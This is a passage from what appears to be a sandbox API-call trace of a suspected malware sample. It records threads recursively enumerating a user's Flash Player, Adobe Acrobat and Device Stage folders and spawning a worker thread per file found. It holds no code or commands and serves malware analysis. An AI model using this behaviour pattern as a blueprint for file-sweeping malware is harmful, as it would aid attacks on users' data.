BaseAddress=0x1b7c1b80) returned 1 Thread: id = 2443 os_tid = 0x1ea0 [0153.500] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xae) returned 0x20279130 [0153.500] wcscpy (in: _Dest=0x20279130, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects" [0153.500] wcscat (in: _Dest=0x20279130, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\" [0153.500] wcscat (in: _Dest=0x20279130, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\*" [0153.500] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd60ce0 [0153.500] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\*", lpFindFileData=0x1cd60ce0 | out: lpFindFileData=0x1cd60ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1d4582b0, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d4582b0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d4582b0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd86c10 [0153.501] wcscmp (_String1=".", _String2=".") returned 0 [0153.501] FindNextFileW (in: hFindFile=0x1cd86c10, lpFindFileData=0x1cd60ce0 | out: lpFindFileData=0x1cd60ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1d4582b0, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d4582b0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d4582b0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0153.501] wcscmp (_String1="..", _String2=".") returned 1 [0153.501] wcscmp (_String1="..", _String2="..") returned 0 [0153.501] FindNextFileW (in: hFindFile=0x1cd86c10, lpFindFileData=0x1cd60ce0 | out: lpFindFileData=0x1cd60ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1d4582b0, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d4582b0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d4582b0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="P7Y3F7QB", cAlternateFileName="")) returned 1 [0153.501] wcscmp (_String1="P7Y3F7QB", _String2=".") returned 1 [0153.501] wcscmp (_String1="P7Y3F7QB", _String2="..") returned 1 [0153.502] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xbc) returned 0x118bc0 [0153.502] wcscpy (in: _Dest=0x118bc0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects" [0153.502] wcscat (in: _Dest=0x118bc0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\" [0153.502] wcscat (in: _Dest=0x118bc0, _Source="P7Y3F7QB" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\P7Y3F7QB") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\P7Y3F7QB" [0158.361] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x118bc0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x136c [0158.362] FindNextFileW (in: hFindFile=0x1cd86c10, lpFindFileData=0x1cd60ce0 | out: lpFindFileData=0x1cd60ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1d4582b0, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d4582b0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d4582b0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="P7Y3F7QB", cAlternateFileName="")) returned 0 [0158.362] FindClose (in: hFindFile=0x1cd86c10 | out: hFindFile=0x1cd86c10) returned 1 [0158.362] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd60ce0) returned 1 [0158.363] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20279130) returned 1 [0158.363] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20279f70) returned 1 Thread: id = 2444 os_tid = 0x1ea4 [0153.503] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xae) returned 0x202795b0 [0153.503] wcscpy (in: _Dest=0x202795b0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com" [0153.503] wcscat (in: _Dest=0x202795b0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\" [0153.503] wcscat (in: _Dest=0x202795b0, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\*" [0153.503] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd60a70 [0153.503] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\*", lpFindFileData=0x1cd60a70 | out: lpFindFileData=0x1cd60a70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b695060, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0x6d241020, ftLastAccessTime.dwHighDateTime=0x1d2dda5, ftLastWriteTime.dwLowDateTime=0x6d241020, ftLastWriteTime.dwHighDateTime=0x1d2dda5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd864f0 [0153.517] wcscmp (_String1=".", _String2=".") returned 0 [0153.517] FindNextFileW (in: hFindFile=0x1cd864f0, lpFindFileData=0x1cd60a70 | out: lpFindFileData=0x1cd60a70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b695060, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0x6d241020, ftLastAccessTime.dwHighDateTime=0x1d2dda5, ftLastWriteTime.dwLowDateTime=0x6d241020, ftLastWriteTime.dwHighDateTime=0x1d2dda5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0153.517] wcscmp (_String1="..", _String2=".") returned 1 [0153.517] wcscmp (_String1="..", _String2="..") returned 0 [0153.517] FindNextFileW (in: hFindFile=0x1cd864f0, lpFindFileData=0x1cd60a70 | out: lpFindFileData=0x1cd60a70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6d241020, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0x6d9d7640, ftLastAccessTime.dwHighDateTime=0x1d2dda5, ftLastWriteTime.dwLowDateTime=0x6d9d7640, ftLastWriteTime.dwHighDateTime=0x1d2dda5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="support", cAlternateFileName="")) returned 1 [0153.517] wcscmp (_String1="support", _String2=".") returned 1 [0153.517] wcscmp (_String1="support", _String2="..") returned 1 [0153.517] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xba) returned 0x1193e0 [0153.517] wcscpy (in: _Dest=0x1193e0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com" [0153.517] wcscat (in: _Dest=0x1193e0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\" [0153.517] wcscat (in: _Dest=0x1193e0, _Source="support" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support" [0158.278] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1193e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d44 [0158.279] FindNextFileW (in: hFindFile=0x1cd864f0, lpFindFileData=0x1cd60a70 | out: lpFindFileData=0x1cd60a70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6d241020, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0x6d9d7640, ftLastAccessTime.dwHighDateTime=0x1d2dda5, ftLastWriteTime.dwLowDateTime=0x6d9d7640, ftLastWriteTime.dwHighDateTime=0x1d2dda5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="support", cAlternateFileName="")) returned 0 [0158.279] FindClose (in: hFindFile=0x1cd864f0 | out: hFindFile=0x1cd864f0) returned 1 [0158.280] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd60a70) returned 1 [0158.280] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202795b0) returned 1 [0158.280] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202791f0) returned 1 Thread: id = 2445 os_tid = 0x1ea8 [0153.811] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x1ced2a40 [0153.811] wcscpy (in: _Dest=0x1ced2a40, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0" [0153.811] wcscat (in: _Dest=0x1ced2a40, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\" [0153.811] wcscat (in: _Dest=0x1ced2a40, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\*" [0153.811] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd622d0 [0153.811] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\*", lpFindFileData=0x1cd622d0 | out: lpFindFileData=0x1cd622d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xee135b70, ftLastAccessTime.dwHighDateTime=0x1d35d05, ftLastWriteTime.dwLowDateTime=0xee135b70, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd86790 [0153.813] wcscmp (_String1=".", _String2=".") returned 0 [0153.813] FindNextFileW (in: hFindFile=0x1cd86790, lpFindFileData=0x1cd622d0 | out: lpFindFileData=0x1cd622d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xee135b70, ftLastAccessTime.dwHighDateTime=0x1d35d05, ftLastWriteTime.dwLowDateTime=0xee135b70, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0153.813] wcscmp (_String1="..", _String2=".") returned 1 [0153.813] wcscmp (_String1="..", _String2="..") returned 0 [0153.813] FindNextFileW (in: hFindFile=0x1cd86790, lpFindFileData=0x1cd622d0 | out: lpFindFileData=0x1cd622d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xecb5bdd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe952fcd0, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x892c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeCMapFnt10.lst", cAlternateFileName="ADOBEC~1.LST")) returned 1 [0153.813] wcscmp (_String1="AdobeCMapFnt10.lst", _String2=".") returned 1 [0153.813] wcscmp (_String1="AdobeCMapFnt10.lst", _String2="..") returned 1 [0153.813] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa4) returned 0x1cd64d10 [0153.813] wcscpy (in: _Dest=0x1cd64d10, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0" [0153.813] wcscat (in: _Dest=0x1cd64d10, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\" [0153.813] wcscat (in: _Dest=0x1cd64d10, _Source="AdobeCMapFnt10.lst" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\AdobeCMapFnt10.lst") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\AdobeCMapFnt10.lst" [0158.441] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cd64d10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1530 [0158.442] FindNextFileW (in: hFindFile=0x1cd86790, lpFindFileData=0x1cd622d0 | out: lpFindFileData=0x1cd622d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xecb5bdd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xd9c071a0, ftLastWriteTime.dwHighDateTime=0x1d2e625, nFileSizeHigh=0x0, nFileSizeLow=0x21cdb, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeSysFnt10.lst", cAlternateFileName="ADOBES~1.LST")) returned 1 [0158.442] wcscmp (_String1="AdobeSysFnt10.lst", _String2=".") returned 1 [0158.442] wcscmp (_String1="AdobeSysFnt10.lst", _String2="..") returned 1 [0158.442] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa2) returned 0x1cd64160 [0158.443] wcscpy (in: _Dest=0x1cd64160, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0" [0158.443] wcscat (in: _Dest=0x1cd64160, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\" [0158.443] wcscat (in: _Dest=0x1cd64160, _Source="AdobeSysFnt10.lst" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\AdobeSysFnt10.lst") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\AdobeSysFnt10.lst" [0158.443] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cd64160, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf38 [0158.444] FindNextFileW (in: hFindFile=0x1cd86790, lpFindFileData=0x1cd622d0 | out: lpFindFileData=0x1cd622d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xecb5bdd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xecb5bdd0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cache", cAlternateFileName="")) returned 1 [0158.444] wcscmp (_String1="Cache", _String2=".") returned 1 [0158.444] wcscmp (_String1="Cache", _String2="..") returned 1 [0158.444] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x20509030 [0158.444] wcscpy (in: _Dest=0x20509030, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0" [0158.444] wcscat (in: _Dest=0x20509030, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\" [0158.444] wcscat (in: _Dest=0x20509030, _Source="Cache" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\Cache") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\Cache" [0158.444] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x20509030, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf3c [0158.445] FindNextFileW (in: hFindFile=0x1cd86790, lpFindFileData=0x1cd622d0 | out: lpFindFileData=0x1cd622d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd3b286a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd3b286a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xee0c3750, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0x0, dwReserved1=0x0, cFileName="SharedDataEvents", cAlternateFileName="SHARED~1")) returned 1 [0158.445] wcscmp (_String1="SharedDataEvents", _String2=".") returned 1 [0158.445] wcscmp (_String1="SharedDataEvents", _String2="..") returned 1 [0158.445] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa0) returned 0x1cd64e70 [0158.445] wcscpy (in: _Dest=0x1cd64e70, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0" [0158.445] wcscat (in: _Dest=0x1cd64e70, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\" [0158.445] wcscat (in: _Dest=0x1cd64e70, _Source="SharedDataEvents" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\SharedDataEvents") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\SharedDataEvents" [0158.445] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cd64e70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf40 [0158.446] FindNextFileW (in: hFindFile=0x1cd86790, lpFindFileData=0x1cd622d0 | out: lpFindFileData=0x1cd622d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd243f2e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd243f2e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xe99341f0, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x12ea5, dwReserved0=0x0, dwReserved1=0x0, cFileName="UserCache.bin", cAlternateFileName="USERCA~1.BIN")) returned 1 [0158.446] wcscmp (_String1="UserCache.bin", _String2=".") returned 1 [0158.446] wcscmp (_String1="UserCache.bin", _String2="..") returned 1 [0158.447] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x1cd65600 [0158.447] wcscpy (in: _Dest=0x1cd65600, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0" [0158.447] wcscat (in: _Dest=0x1cd65600, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\" [0158.447] wcscat (in: _Dest=0x1cd65600, _Source="UserCache.bin" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\UserCache.bin") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\UserCache.bin" [0158.447] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cd65600, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf48 [0158.448] FindNextFileW (in: hFindFile=0x1cd86790, lpFindFileData=0x1cd622d0 | out: lpFindFileData=0x1cd622d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd243f2e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd243f2e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xe99341f0, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x12ea5, dwReserved0=0x0, dwReserved1=0x0, cFileName="UserCache.bin", cAlternateFileName="USERCA~1.BIN")) returned 0 [0158.448] FindClose (in: hFindFile=0x1cd86790 | out: hFindFile=0x1cd86790) returned 1 [0158.450] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd622d0) returned 1 [0158.450] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced2a40) returned 1 [0158.450] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20509c30) returned 1 Thread: id = 2446 os_tid = 0x1eac [0153.819] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb0) returned 0x20278ef0 [0153.820] wcscpy (in: _Dest=0x20278ef0, _Source="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}" [0153.820] wcscat (in: _Dest=0x20278ef0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\" [0153.820] wcscat (in: _Dest=0x20278ef0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\*") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\*" [0153.820] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd616a0 [0153.820] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\*", lpFindFileData=0x1cd616a0 | out: lpFindFileData=0x1cd616a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1d91b669, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 